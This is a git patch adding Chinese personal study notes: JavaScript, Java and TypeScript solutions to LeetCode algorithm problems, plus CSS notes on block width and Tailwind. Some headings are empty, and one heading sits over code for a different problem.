//遇到比当前位值大的,交换,因为索引数组从后往前遍历的,所以保证了值为最大 + for (let i = 0; i < num.length; i++) { + for (let d = 9; d > (num[i] - '0'); d--) { + if (last[d] > i) { + let temp = num[last[d]]; + num[last[d]] = num[i]; + num[i] = temp; + return Number(num.join("")); + } + } + } + return Number(num.join("")); +}; +``` + +> 数字最多只有 8 位,因此只有 28 个可用的互换。 :small_airplane: + +```java +public class Solution { + + public int maximumSwap(int num) { + String s = String.valueOf(num); + int len = s.length(); + char[] charArray = s.toCharArray(); + int max = num; + for (int i = 0; i < len; i++) { + for (int j = i + 1; j < len; j++) { + swap(charArray, i, j); + max = Math.max(max, Integer.parseInt(new String(charArray))); + swap(charArray, i, j); + } + } + return max; + } + + private void swap(char[] charArray, int index1, int index2) { + char temp = charArray[index1]; + charArray[index1] = charArray[index2]; + charArray[index2] = temp; + } +} +``` + +#### [214. 最短回文串](https://leetcode.cn/problems/shortest-palindrome/) + +> 双指针 +> +> ![image-20220628152153178](https://cdn.yihuiblog.top/images/202206281521229.png) + +```js +var searchRange = function (nums, target) { + const res = []; + res.push(nums.indexOf(target)); + res.push(nums.lastIndexOf(target)); + return res; +}; +``` + +#### [面试题 01.05. 一次编辑](https://leetcode.cn/problems/one-away-lcci/) + +```js +var oneEditAway = function(first, second) { + const m = first.length, n = second.length; + if (n - m === 1) { + return oneInsert(first, second); + } else if (m - n === 1) { + return oneInsert(second, first); + } else if (m === n) { + let foundDifference = false; + for (let i = 0; i < m; i++) { + if (first[i] != second[i]) { + if (!foundDifference) { + foundDifference = true; + } else { + return false; + } + } + } + return true; + } else { + return false; + } +} + +const oneInsert = (shorter, longer) => { + const length1 = shorter.length, length2 = longer.length; + let index1 = 0, index2 = 0; + while (index1 < length1 && index2 < length2) { + if (shorter[index1] == longer[index2]) { + index1++; + } + index2++; + if (index2 - index1 > 1) { + return false; + } + } + return true; +}; +``` + +#### [847. 访问所有节点的最短路径](https://leetcode.cn/problems/shortest-path-visiting-all-nodes/) + + + + + +#### [214. 最短回文串](https://leetcode.cn/problems/shortest-palindrome/) + + + +#### [179. 最大数](https://leetcode.cn/problems/largest-number/) + +> 输入:nums = [3,30,34,5,9] +> 输出:"9534330" +> +> 注意:怎么选择3,30而不是30,3(长度不同如何选择) + + + + + +#### [287. 寻找重复数](https://leetcode.cn/problems/find-the-duplicate-number/) + +> **进阶:** +> +> - 如何证明 `nums` 中至少存在一个重复的数字? +> - 你可以设计一个线性级时间复杂度 `O(n)` 的解决方案吗? + +> 超时方法 + +```js +var findDuplicate = function (nums) { + let res = -1; + nums.forEach(item => { + if(nums.indexOf(item)!==nums.lastIndexOf(item)){ + res = item; + } + }) + return res; +}; +``` + +> 哈希 + +```js +var findDuplicate = function (nums) { + let obj = {}; + for (const val of nums) { + if (!obj[val]) { + obj[val] = 1; + } else { + return val; + } + } +}; +``` + +> 二分查找 + + + + + +> 方法二:二进制 + + + +#### [61. 旋转链表](https://leetcode.cn/problems/rotate-list/) + + + + + +#### [189. 轮转数组](https://leetcode.cn/problems/rotate-array/) + +> 一个一个来 + +```js +/** + * @param {number[]} nums + * @param {number} k + * @return {void} Do not return anything, modify nums in-place instead. + */ +var rotate = function (nums, k) { + for (let i = 0; i < k; i++) { + nums.unshift(nums.pop()); + } +}; +``` + +#### [387. 字符串中的第一个唯一字符](https://leetcode.cn/problems/first-unique-character-in-a-string/) + +> 2n + +```js +var firstUniqChar = function (s) { + const obj = {} + Array.from(s).forEach((item, index) => { + if (!obj[item]) { + obj[item] = index + 1; + } else { + obj[item] = -1; + } + }) + for (const objKey in obj) { + if (obj[objKey] !== -1) { + return obj[objKey] - 1; + } + } + return -1; +}; + +``` + +> 队列方法 + +```js +var firstUniqChar = function(s) { + const position = new Map(); + const q = []; + const n = s.length; + for (let [i, ch] of Array.from(s).entries()) { + if (!position.has(ch)) { + position.set(ch, i); + q.push([s[i], i]); + } else { + position.set(ch, -1); + while (q.length && position.get(q[0][0]) === -1) { + q.shift(); + } + } + } + return q.length ? q[0][1] : -1; +}; +``` + +#### [28. 实现 strStr()](https://leetcode.cn/problems/implement-strstr/) + +```js +/** + * @param {string} haystack + * @param {string} needle + * @return {number} + */ +var strStr = function(haystack, needle) { + return needle.length>0?haystack.indexOf(needle):0; +}; +``` + +#### [674. 最长连续递增序列](https://leetcode.cn/problems/longest-continuous-increasing-subsequence/) + +```js +var findLengthOfLCIS = function(nums) { + let ans = 0; + const n = nums.length; + let start = 0; + for (let i = 0; i < n; i++) { + if (i > 0 && nums[i] <= nums[i - 1]) { + start = i; + } + ans = Math.max(ans, i - start + 1); + } + return ans; +}; +``` + +#### [172. 阶乘后的零](https://leetcode.cn/problems/factorial-trailing-zeroes/) + +> 考虑尾数0是由2X5提供的 +> +> 由于质因子 5 的个数不会大于质因子 2 的个数(具体证明见方法二),我们可以仅考虑质因子 5 的个数。 + +> 优化计算 + +```js +/** + * @param {number} n + * @return {number}n + */ +var trailingZeroes = function(n) { + let count = 0; + while (n > 0) { + n = Math.floor(n / 5); + count += n; + } + return count; +}; +``` + +#### [628. 三个数的最大乘积](https://leetcode.cn/problems/maximum-product-of-three-numbers/) + +> 错误的 + +```js +var maximumProduct = function(nums) { + nums.sort((a,b)=>a-b); + const len = nums.length; + return nums[len-1]*nums[len-2]*nums[len-3]; +}; +``` + +> 注意双负数情况,最小的两个负数与最大整数相乘 + +```js +var maximumProduct = function(nums) { + nums.sort((a, b) => a - b); + const n = nums.length; + return Math.max(nums[0] * nums[1] * nums[n - 1], nums[n - 1] * nums[n - 2] * nums[n - 3]); +}; +``` + +#### [204. 计数质数](https://leetcode.cn/problems/count-primes/) + +> 逐个枚举法 +> +> ![image-20220703155553306](https://cdn.yihuiblog.top/images/202207041643342.png) + +```js +const isPrime = (x) => { + for (let i = 2; i * i <= x; ++i) { + if (x % i == 0) { + return false; + } + } + return true; +} + +var countPrimes = function(n) { + let ans = 0; + for (let i = 2; i < n; ++i) { + ans += isPrime(i); + } + return ans; +}; +``` + diff --git "a/src/\345\210\267\351\242\230/Leetcode/\344\270\255\347\255\211\351\242\230/codetop \344\270\255\347\255\211\351\232\276\345\272\246\345\210\267\351\242\230.md" "b/src/\345\210\267\351\242\230/Leetcode/\344\270\255\347\255\211\351\242\230/codetop \344\270\255\347\255\211\351\232\276\345\272\246\345\210\267\351\242\230.md" new file mode 100644 index 00000000..9394071f --- /dev/null +++ "b/src/\345\210\267\351\242\230/Leetcode/\344\270\255\347\255\211\351\242\230/codetop \344\270\255\347\255\211\351\232\276\345\272\246\345\210\267\351\242\230.md" @@ -0,0 +1,131 @@ +# codetop 中等难度刷题 + +> https://codetop.cc/home + +#### [剑指 Offer 48. 最长不含重复字符的子字符串](https://leetcode.cn/problems/zui-chang-bu-han-zhong-fu-zi-fu-de-zi-zi-fu-chuan-lcof/) + +> 方法一:滑动窗口 + +```js +var lengthOfLongestSubstring = function(s) { + // 哈希集合,记录每个字符是否出现过 + const occ = new Set(); + const n = s.length; + // 右指针,初始值为 -1,相当于我们在字符串的左边界的左侧,还没有开始移动 + let rk = -1, ans = 0; + for (let i = 0; i < n; ++i) { + if (i != 0) { + // 左指针向右移动一格,移除一个字符 + occ.delete(s.charAt(i - 1)); + } + while (rk + 1 < n && !occ.has(s.charAt(rk + 1))) { + // 不断地移动右指针 + occ.add(s.charAt(rk + 1)); + ++rk; + } + // 第 i 到 rk 个字符是一个极长的无重复字符子串 + ans = Math.max(ans, rk - i + 1); + } + return ans; +}; +``` + +> 方法三:双指针 + 哈希表 + +```js +var lengthOfLongestSubstring = function (s) { + const map = new Map(); + let i = -1, res = 0; + for (let j = 0; j < s.length; j++) { + if (map.has(s[j])) { + i = Math.max(i, map.get(s[j])); + } + map.set(s[j], j); + res = Math.max(res, j - i); + } + return res; +}; +``` + +#### [179. 最大数](https://leetcode.cn/problems/largest-number/) + +> 交互比较组合 + +```js +/** + * @param {number[]} nums + * @return {string} + */ +var largestNumber = function (nums) { + if (nums.length === 1) return nums[0].toString(); + for (let j = 0; j < nums.length; j++) { + for (let i = 0; i < nums.length - 1; i++) { + if (parseInt('' + nums[i] + nums[i + 1]) < + parseInt('' + nums[i + 1] + nums[i])) { + [nums[i], nums[i + 1]] = [nums[i + 1], nums[i]] + } + } + } + if(nums[0]===0)return "0"; + return nums.reduce((pre, cur) => { + return pre + cur; + }, '') +}; +``` + +> 简洁版本 + +```js +var largestNumber = function(nums) { + nums.sort((a,b) => { + var stra = b.toString() + a.toString(), strb = a.toString() + b.toString(); + if (stra > strb) { // 不需要转换为int + return 1 + } else { + return -1 + } + }); + if (nums[0] == 0) return '0' + return nums.join(''); +}; +``` + +#### [1143. 最长公共子序列](https://leetcode.cn/problems/longest-common-subsequence/) + +> 动态规划 +> +> image.png + +```js +var longestCommonSubsequence = function(text1, text2) { + const m = text1.length, n = text2.length; + const dp = new Array(m + 1).fill(0).map(() => new Array(n + 1).fill(0)); + for (let i = 1; i <= m; i++) { + const c1 = text1[i - 1]; + for (let j = 1; j <= n; j++) { + const c2 = text2[j - 1]; + if (c1 === c2) { + dp[i][j] = dp[i - 1][j - 1] + 1; + } else { + dp[i][j] = Math.max(dp[i - 1][j], dp[i][j - 1]); + } + } + } + return dp[m][n]; +}; +``` + +#### [151. 颠倒字符串中的单词](https://leetcode.cn/problems/reverse-words-in-a-string/) + +> 利用正则匹配!!! + +```js +/** + * @param {string} s + * @return {string} + */ +var reverseWords = function(s) { + return s.trim().split(/\s+/).reverse().join(' '); +}; +``` + diff --git "a/src/\345\210\267\351\242\230/Leetcode/\344\270\255\347\255\211\351\242\230/\344\270\255\347\255\211\351\242\230\345\210\267\351\242\230.md" "b/src/\345\210\267\351\242\230/Leetcode/\344\270\255\347\255\211\351\242\230/\344\270\255\347\255\211\351\242\230\345\210\267\351\242\230.md" new file mode 100644 index 00000000..adb4d144 --- /dev/null +++ "b/src/\345\210\267\351\242\230/Leetcode/\344\270\255\347\255\211\351\242\230/\344\270\255\347\255\211\351\242\230\345\210\267\351\242\230.md" @@ -0,0 +1,585 @@ +# Leetcode 中等题刷题 + +#### [剑指 Offer 32 - III. 从上到下打印二叉树 III](https://leetcode.cn/problems/cong-shang-dao-xia-da-yin-er-cha-shu-iii-lcof/) + +> 层序遍历变种 + +```js +/** + * @param {TreeNode} root + * @return {number[][]} + */ +var levelOrder = function(root) { + if (!root) { + return []; + } + + const ans = []; + const nodeQueue = [root]; + + let isOrderLeft = true; + + while (nodeQueue.length) { + let levelList = []; + const size = nodeQueue.length; + for (let i = 0; i < size; ++i) { + const node = nodeQueue.shift(); + if (isOrderLeft) { + levelList.push(node.val); + } else { + levelList.unshift(node.val); + } + if (node.left !== null) { + nodeQueue.push(node.left); + } + if (node.right !== null) { + nodeQueue.push(node.right); + } + } + ans.push(levelList); + isOrderLeft = !isOrderLeft; + } + + return ans; +}; +``` + +#### [63. 不同路径 II](https://leetcode.cn/problems/unique-paths-ii/) + +> 动态规划 +> +> ![image-20220710193414013](https://cdn.yihuiblog.top/images/202207101934096.png) + +```js +var uniquePathsWithObstacles = function (obstacleGrid) { + const m = obstacleGrid.length + const n = obstacleGrid[0].length + // m*n 的矩阵 + const dp = new Array(m).fill('').map(i => new Array(n).fill(0)) + //(0,0)这个格子可能有障碍物 + dp[0][0] = (obstacleGrid[0][0] === 1) ? 0 : 1; + + //第一行都赋予 1 + for (let i = 1; i < n; i++) { + if (obstacleGrid[0][i] === 1 || dp[0][i - 1] === 0) { + dp[0][i] = 0; + } else { + dp[0][i] = 1; + } + } + //第一列都赋予 1 + for (let i = 1; i < m; i++) { + if (obstacleGrid[i][0] === 1 || dp[i - 1][0] === 0) { + dp[i][0] = 0; + } else { + dp[i][0] = 1; + } + } + + //两个for循环推导,对于(i,j)来说,只能由上方或者左方转移过来 + for (let i = 1; i < m; i++) { + for (let j = 1; j < n; j++) { + //如果当前格子是障碍物,返回 0,否则返回 dp[i - 1][j] + dp[i][j - 1] + dp[i][j] = obstacleGrid[i][j] === 1 ? 0 : dp[i - 1][j] + dp[i][j - 1]; + } + } + + // m、n 为矩阵的宽高,索引要减 1 + return dp[m - 1][n - 1] +}; +``` + +> 注意 +> +> ``` +> const dp = new Array(m).fill(new Array(n).fill(0)) +> ``` +> 导致每行均指向同一位置 + +#### [6. Z 字形变换](https://leetcode.cn/problems/zigzag-conversion/) + +![image-20220710195949832](https://cdn.yihuiblog.top/images/202207101959873.png) + +```js +var convert = function (s, numRows) { + if (numRows < 2) return s; + const rows = new Array(numRows).fill(''); + let i = 0, flag = -1; + for (const c of s) { + rows[i] += c; + if(i === 0 || i === numRows -1) flag = - flag; + i += flag + } + let res = "" + for (const row of rows) { + res += row + } + return res; +}; +``` + +#### [86. 分隔链表](https://leetcode.cn/problems/partition-list/) + +#### [148. 排序链表](https://leetcode.cn/problems/sort-list/):star: + +> 归并排序 nlog(n) + +**递归法(自顶向下迭代分割)** + +```js +const merge = (head1, head2) => { + const dummyHead = new ListNode(0); + let temp = dummyHead, temp1 = head1, temp2 = head2; + while (temp1 !== null && temp2 !== null) { + if (temp1.val <= temp2.val) { + temp.next = temp1; + temp1 = temp1.next; + } else { + temp.next = temp2; + temp2 = temp2.next; + } + temp = temp.next; + } + if (temp1 !== null) { + temp.next = temp1; + } else if (temp2 !== null) { + temp.next = temp2; + } + return dummyHead.next; // 虚拟头部 +} + +const toSortList = (head, tail) => { + if (head === null) { + return head; + } + if (head.next === tail) { + head.next = null; + return head; + } + let slow = head, fast = head; + while (fast !== tail) { + slow = slow.next; + fast = fast.next; + if (fast !== tail) { + fast = fast.next; + } + } + const mid = slow; + return merge(toSortList(head, mid), toSortList(mid, tail)); +} + +var sortList = function(head) { + return toSortList(head, null); +}; +``` + +> 使用:[21. 合并两个有序链表](https://leetcode.cn/problems/merge-two-sorted-lists/) + +#### [147. 对链表进行插入排序](https://leetcode.cn/problems/insertion-sort-list/):star: + +![img](https://cdn.yihuiblog.top/images/202207102129344.png) + +```js +var insertionSortList = function(head) { + if (head === null) { + return head; + } + const dummyHead = new ListNode(0); + dummyHead.next = head; + let lastSorted = head, curr = head.next; + while (curr !== null) { + if (lastSorted.val <= curr.val) { + lastSorted = lastSorted.next; + } else { + let prev = dummyHead; + while (prev.next.val <= curr.val) { + prev = prev.next; + } + lastSorted.next = curr.next; + curr.next = prev.next; + prev.next = curr; + } + curr = lastSorted.next; + } + return dummyHead.next; +}; +``` + + + +#### [560. 和为 K 的子数组](https://leetcode.cn/problems/subarray-sum-equals-k/) + +> 土办法,向前枚举 + +```js +var subarraySum = function(nums, k) { + let count = 0; + for (let start = 0; start < nums.length; ++start) { + let sum = 0; + for (let end = start; end >= 0; --end) { + sum += nums[end]; + if (sum == k) { + count++; + } + } + } + return count; +}; +``` + +> 前缀和 +> +> ![img](https://cdn.yihuiblog.top/images/202207111301866.png) + +```js +var subarraySum = function(nums, k) { + const mp = new Map(); + mp.set(0, 1); + let count = 0, pre = 0; + for (const x of nums) { + pre += x; + if (mp.has(pre - k)) { + count += mp.get(pre - k); + } + if (mp.has(pre)) { + mp.set(pre, mp.get(pre) + 1); + } else { + mp.set(pre, 1); + } + } + return count; +}; +``` + + + +#### [剑指 Offer 46. 把数字翻译成字符串](https://leetcode.cn/problems/ba-shu-zi-fan-yi-cheng-zi-fu-chuan-lcof/) + +```js +/** + * @param {number} num + * @return {number} + */ +var translateNum = function(num) { + if(num < 10)return 1; + if (num % 100 < 26 && num % 100 > 9) { + return translateNum(~~(num / 10)) + translateNum(~~(num / 100)); + } else { + return translateNum(~~(num / 10)); + } +}; +``` + + + +#### [207. 课程表](https://leetcode.cn/problems/course-schedule/) + +> 类似图的依赖关系 +> +> 本题是一道经典的「拓扑排序」问题,找一找有没有环 + +拓扑排序 + +```js +/** + * @param {number} numCourses + * @param {number[][]} prerequisites + * @return {boolean} + */ +const canFinish = (numCourses, prerequisites) => { + const inDegree = new Array(numCourses).fill(0); // 入度数组 + const map = {}; // 邻接表 + for (let i = 0; i < prerequisites.length; i++) { + inDegree[prerequisites[i][0]]++; // 求课的初始入度值 + if (map[prerequisites[i][1]]) { // 当前课已经存在于邻接表 + map[prerequisites[i][1]].push(prerequisites[i][0]); // 添加依赖它的后续课 + } else { // 当前课不存在于邻接表 + map[prerequisites[i][1]] = [prerequisites[i][0]]; + } + } + const queue = []; + for (let i = 0; i < inDegree.length; i++) { // 所有入度为0的课入列 + if (inDegree[i] == 0) queue.push(i); + } + let count = 0; + while (queue.length) { + const selected = queue.shift(); // 当前选的课,出列 + count++; // 选课数+1 + const toEnQueue = map[selected]; // 获取这门课对应的后续课 + if (toEnQueue && toEnQueue.length) { // 确实有后续课 + for (let i = 0; i < toEnQueue.length; i++) { + inDegree[toEnQueue[i]]--; // 依赖它的后续课的入度-1 + if (inDegree[toEnQueue[i]] == 0) { // 如果因此减为0,入列 + queue.push(toEnQueue[i]); + } + } + } + } + return count == numCourses; // 选了的课等于总课数,true,否则false +}; +``` + +#### [1424. 对角线遍历 II](https://leetcode.cn/problems/diagonal-traverse-ii/) + +![img](https://cdn.yihuiblog.top/images/202207111336268.png) + +> 从左上角进行广度优先搜索 + +```js +/** + * @param {number[][]} nums + * @return {number[]} + */ +var findDiagonalOrder = function(nums) { + let q = [[0,0]]; + let res = []; + while(q.length !== 0){ + let cur = q.pop(); + if(cur[1] === 0 && cur[0]+1 < nums.length) q.unshift([cur[0]+1,cur[1]]); + if(cur[1]+1 < nums[cur[0]].length) q.unshift([cur[0],cur[1]+1]); + res.push(nums[cur[0]][cur[1]]); + } + return res; +}; + +``` + +#### [79. 单词搜索](https://leetcode.cn/problems/word-search/) + +> 广度优先、区分方向 + +```js +/** + * @param {character[][]} board + * @param {string} word + * @return {boolean} + */ +var exist = function (board, word) { + const W = board.length; + const H = board[0].length + const K = word.length + + //搜索的方向 + const dirs = [[0, -1], [1, 0],[0, 1],[-1, 0]] + function helper(i, j, k) { + if (k>=K) return true + if (i >= W || j >= H || i < 0 || j < 0) return false + + if (board[i][j] !== word[k]) return false + board[i][j]='*' + for (let [x,y] of dirs) { + if(helper(i+x,j+y,k+1)) return true + } + board[i][j]=word[k] + return false + } + for (let i = 0; i < W; i++) { + for (let j = 0; j < H; j++) { + if (helper(i,j,0)) return true + } + } + return false +}; +``` + +#### [139. 单词拆分](https://leetcode.cn/problems/word-break/) :star:稍后查看 + +```ts +function wordBreak(s: string, wordDict: string[]): boolean { + const n: number = s.length; + const wordDictSet: Set = new Set(wordDict); + const dp: Array = new Array(n + 1).fill(false); + dp[0] = true; + for (let i = 1; i <= n; i++) { + for (let j = 0; j < i; j++) { + if (dp[j] && wordDictSet.has(s.substr(j, i - j))) { + dp[i] = true; + break; + } + } + } + return dp[n]; +}; +``` + +#### [967. 连续差相同的数字](https://leetcode.cn/problems/numbers-with-same-consecutive-differences/) + +> DFS + 回溯法 + +```js +/** + * @param {number} n + * @param {number} k + * @return {number[]} + */ +var numsSameConsecDiff = function (n, k) { + let ans = []; + for (let i = 1; i <= 9; i++) { + backtrack(ans, [i], 1, n, k); + } + return ans; +}; + +function backtrack(ans, track, i, n, k) { + if (i === n) { + let str = track.join(""); + ans.push(+str); + return; + } + if (track[track.length - 1] + k <= 9) { + track.push(track[track.length - 1] + k) + backtrack(ans, track, i + 1, n, k); + track.pop(); + } + if (k !== 0) { + if (track[track.length - 1] - k >= 0) { + track.push(track[track.length - 1] - k) + backtrack(ans, track, i + 1, n, k); + track.pop(); + } + } +} +``` + +#### [451. 根据字符出现频率排序](https://leetcode.cn/problems/sort-characters-by-frequency/) + +> map统计后再进行排序复原 + +```js +/** + * @param {string} s + * @return {string} + */ +var frequencySort = function(s) { + const map = new Map(); + const length = s.length; + // map统计 + for (let i = 0; i < length; i++) { + const c = s[i]; + const frequency = (map.get(c) || 0) + 1; + map.set(c, frequency); + } + const list = [...map.keys()]; // 获取字符并排序 + list.sort((a, b) => map.get(b) - map.get(a)); + // 还原为字符串 + const sb = []; // 答案寄存 + const size = list.length; + for (let i = 0; i < size; i++) { + const c = list[i]; + const frequency = map.get(c); + for (let j = 0; j < frequency; j++) { + sb.push(c); + } + } + return sb.join(''); +}; +``` + +#### [986. 区间列表的交集](https://leetcode.cn/problems/interval-list-intersections/) + +> 双指针移动法 + +```js +const intervalIntersection = (A, B) => { + const res = []; + let i = 0; + let j = 0; + while (i < A.length && j < B.length) { + const start = Math.max(A[i][0], B[j][0]); // 交集区间的左端,取它们的较大者 + const end = Math.min(A[i][1], B[j][1]); // 交集区间的右端,取它们的较小者 + if (start <= end) { // 形成了交集区间 + res.push([start, end]); + } + if (A[i][1] < B[j][1]) { // 谁先结束,谁的指针就步进,考察下一个子区间 + i++; + } else { + j++; + } + } + return res; +}; +``` + +#### [593. 有效的正方形](https://leetcode.cn/problems/valid-square/) + +> 正方形内只存在两种边长 + +```js +/** + * @param {number[]} p1 + * @param {number[]} p2 + * @param {number[]} p3 + * @param {number[]} p4 + * @return {boolean} + */ +var validSquare = function (p1, p2, p3, p4) { + // arguments数组收集了四个点 + const res = new Set(),arr = arguments + // 暴力遍历任意两点的距离并存入set + for (let i = 0; i < 3; i++) { + for(let j = i+1;j<4;j++){ + res.add( + Math.sqrt((arr[i][0] - arr[j][0])**2 + (arr[i][1] - arr[j][1])**2) + ) + // 如果已经出现第三种距离,提前false + if(res.size > 2)return false + } + } + // 理论上正方形只有两种距离(边和对角线) + if(res.size !== 2)return false + + // const temp = [...res].sort((a,b) => a - b) + // return temp[0] > 0 && temp[1] === temp[0]*Math.sqrt(2) + // 注意没必要判断长距离是短距离的根号2 倍,会出现精度问题 + + // 任意四边形的对角线距离和边长若只有两种 + // 等价于(互为充分必要) + // 这个四边形是正方形 + + const temp = [...res] + return temp[0] > 0 && temp[1] > 0 +}; +``` + +#### [264. 丑数 II](https://leetcode.cn/problems/ugly-number-ii/) + +> *x* 是最小的丑数,由于 2x, 3x, 5x2*x*,3*x*,5*x* 也是丑数 +> +> ![image-20220713113504235](https://cdn.yihuiblog.top/images/202207131135298.png) + +```js +/** + * @param {number} n + * @return {number} + */ +var nthUglyNumber = function(n) { + const dp = new Array(n + 1).fill(0); + dp[1] = 1; + let p2 = 1, p3 = 1, p5 = 1; + for (let i = 2; i <= n; i++) { + const num2 = dp[p2] * 2, num3 = dp[p3] * 3, num5 = dp[p5] * 5; + dp[i] = Math.min(Math.min(num2, num3), num5); + if (dp[i] === num2) { + p2++; + } + if (dp[i] === num3) { + p3++; + } + if (dp[i] === num5) { + p5++; + } + } + return dp[n]; +}; +``` + +#### [面试题 16.25. LRU 缓存](https://leetcode.cn/problems/lru-cache-lcci/) + +> 设计和构建一个“最近最少使用”缓存,该缓存会删除最近最少使用的项目。缓存应该从键映射到值(允许你插入和检索特定键对应的值),并在初始化时指定最大容量。当缓存被填满时,它应该删除最近最少使用的项目。 + +#### [739. 每日温度](https://leetcode.cn/problems/daily-temperatures/) + +> **单调栈**,将最小数维持在栈顶 + + + From 2c18fd19e3396340c4f55b60ff0ec28f50872f0d Mon Sep 17 00:00:00 2001 From: MoMeak9 <1308994506@qq.com> Date: Tue, 11 Jul 2023 01:30:08 +0800 Subject: [PATCH 05/26] =?UTF-8?q?docs:=20=E2=9C=8F=EF=B8=8F=20CSS=20?= =?UTF-8?q?=E7=AC=94=E8=AE=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...21\345\274\200\351\227\256\351\242\230.md" | 82 + ...75\347\261\273\344\274\230\345\205\210.md" | 97 + ...45\344\275\234\345\216\237\347\220\206.md" | 181 ++ ...32\344\271\211\345\261\236\346\200\247.md" | 187 ++ ...04\345\220\210\344\274\252\347\261\273.md" | 167 ++ .../Flex \345\270\203\345\261\200.md" | 376 ++++ .../Grid \345\270\203\345\261\200.md" | 855 +++++++++ ...06\347\202\271\346\261\207\346\200\273.md" | 1157 ++++++++++++ ...46\344\271\240\346\225\264\345\220\210.md" | 1600 +++++++++++++++++ ...34\345\255\227\344\275\223 (Web Fonts).md" | 95 + ...40\347\232\204\345\214\272\345\210\253.md" | 66 + ...04\345\220\210\344\274\252\347\261\273.md" | 162 ++ ...50\347\253\257\346\270\262\346\237\223.md" | 128 ++ .../Astro/Vue\351\233\206\346\210\220.md" | 220 +++ ...44\345\262\233\346\236\266\346\236\204.md" | 105 ++ 15 files changed, 5478 insertions(+) create mode 100644 "src/CSS/CSS \347\210\266\345\205\203\347\264\240\346\262\241\346\234\211\350\242\253\345\255\220\345\205\203\347\264\240\346\222\221\345\274\200\351\227\256\351\242\230.md" create mode 100644 "src/CSS/Tailwind CSS \346\240\270\345\277\203\346\246\202\345\277\265\357\274\232\345\212\237\350\203\275\347\261\273\344\274\230\345\205\210.md" create mode 100644 "src/CSS/Vue scoped\345\261\236\346\200\247\347\232\204\347\224\250\351\200\224\345\222\214\345\267\245\344\275\234\345\216\237\347\220\206.md" create mode 100644 "src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/CSS \350\207\252\345\256\232\344\271\211\345\261\236\346\200\247.md" create mode 100644 "src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/CSS\350\277\233\351\230\266\357\274\232\351\200\273\350\276\221\347\273\204\345\220\210\344\274\252\347\261\273.md" create mode 100644 "src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/Flex \345\270\203\345\261\200.md" create mode 100644 "src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/Grid \345\270\203\345\261\200.md" create mode 100644 "src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/Less \347\237\245\350\257\206\347\202\271\346\261\207\346\200\273.md" create mode 100644 "src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/Stylus \345\255\246\344\271\240\346\225\264\345\220\210.md" create mode 100644 "src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/Web \345\256\211\345\205\250\345\255\227\344\275\223\345\222\214\347\275\221\347\273\234\345\255\227\344\275\223 (Web Fonts).md" create mode 100644 "src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/\344\274\252\347\261\273\344\270\216\344\274\252\345\205\203\347\264\240\347\232\204\345\214\272\345\210\253.md" create mode 100644 "src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/\351\200\273\350\276\221\347\273\204\345\220\210\344\274\252\347\261\273.md" create mode 100644 "src/\345\205\203\346\241\206\346\236\266/Astro/Astro \344\270\255\345\220\257\347\224\250\346\234\215\345\212\241\345\231\250\347\253\257\346\270\262\346\237\223.md" create mode 100644 "src/\345\205\203\346\241\206\346\236\266/Astro/Vue\351\233\206\346\210\220.md" create mode 100644 "src/\345\205\203\346\241\206\346\236\266/Astro/\346\235\245\344\272\206\350\247\243\344\270\200\344\270\213 Island Architecture \345\255\244\345\262\233\346\236\266\346\236\204.md" diff --git "a/src/CSS/CSS \347\210\266\345\205\203\347\264\240\346\262\241\346\234\211\350\242\253\345\255\220\345\205\203\347\264\240\346\222\221\345\274\200\351\227\256\351\242\230.md" "b/src/CSS/CSS \347\210\266\345\205\203\347\264\240\346\262\241\346\234\211\350\242\253\345\255\220\345\205\203\347\264\240\346\222\221\345\274\200\351\227\256\351\242\230.md" new file mode 100644 index 00000000..03d754cb --- /dev/null +++ "b/src/CSS/CSS \347\210\266\345\205\203\347\264\240\346\262\241\346\234\211\350\242\253\345\255\220\345\205\203\347\264\240\346\222\221\345\274\200\351\227\256\351\242\230.md" @@ -0,0 +1,82 @@ +# CSS 父元素没有被子元素撑开 + +> 这个应该是昨天问题的复现和最优解 + +### 问题复现 + +在给未设置长度的容器变换背景的时候,加入一个超长内容,原父级容器没有被新的子元素撑开 + +![image-20220818143802901](https://cdn.yihuiblog.top/images/202208181438034.png) + +而是自动获取为父级元素的100% + +![image-20220818143831231](https://cdn.yihuiblog.top/images/202208181438310.png) + +**源码** + +```css +.main { + background: grey; + margin: auto; + width: 50vw; + height: 400px; + overflow: auto; +} + +.list { + height: 100vw; +} + +.long{ + width: 99999px; +} + +.active { + background: aqua; +} +``` + +```jsx +function App() { + let preClickElement = null + const handleClick = useCallback((e) => { + const target = e.currentTarget + target.className = 'active'; + preClickElement && (preClickElement.className = '') + preClickElement = target; + }, []) + + return ( +
    +
    + { + data.map((item, index) => { + return
    {item}
    + }) + } +
    + longlongdiv +
    +
    +
    + ); +} +``` + +## 原因 + +块级元素被子元素撑开时,如果没设置宽度,宽度就是这个块级元素的父元素的100%,所以`.list`的宽度是`.mian`的100%。 + +块级元素的宽度(未设置的情况下with: auto)等于其父元素内容区的宽度,所以跟儿子撑不撑开没关系。浮动元素和行内块级元素这种失去了天生宽度的元素,才有被儿子撑开一说,所以解决起来也很简单,将`.list`加上 + +```css +display: inline-block; +``` + +即可 + +image-20220818144322293 + +然后关于[width:auto](https://www.zhangxinxu.com/wordpress/2018/07/css-width-auto/)这篇文章非常不错,建议阅读~ diff --git "a/src/CSS/Tailwind CSS \346\240\270\345\277\203\346\246\202\345\277\265\357\274\232\345\212\237\350\203\275\347\261\273\344\274\230\345\205\210.md" "b/src/CSS/Tailwind CSS \346\240\270\345\277\203\346\246\202\345\277\265\357\274\232\345\212\237\350\203\275\347\261\273\344\274\230\345\205\210.md" new file mode 100644 index 00000000..6c881956 --- /dev/null +++ "b/src/CSS/Tailwind CSS \346\240\270\345\277\203\346\246\202\345\277\265\357\274\232\345\212\237\350\203\275\347\261\273\344\274\230\345\205\210.md" @@ -0,0 +1,97 @@ +# Tailwind CSS 核心概念:功能类优先 + +在一组受约束的原始功能类的基础上构建复杂的组件,Tailwind CSS内置了很多类名,直接放在class属性中,以代替CSS。。 + +方便起见,我们直接使用官网的讲解案例。 + +## 案例说明 + +传统情况下,当我们需要在网页上设置样式时,都需要编写专门的 CSS 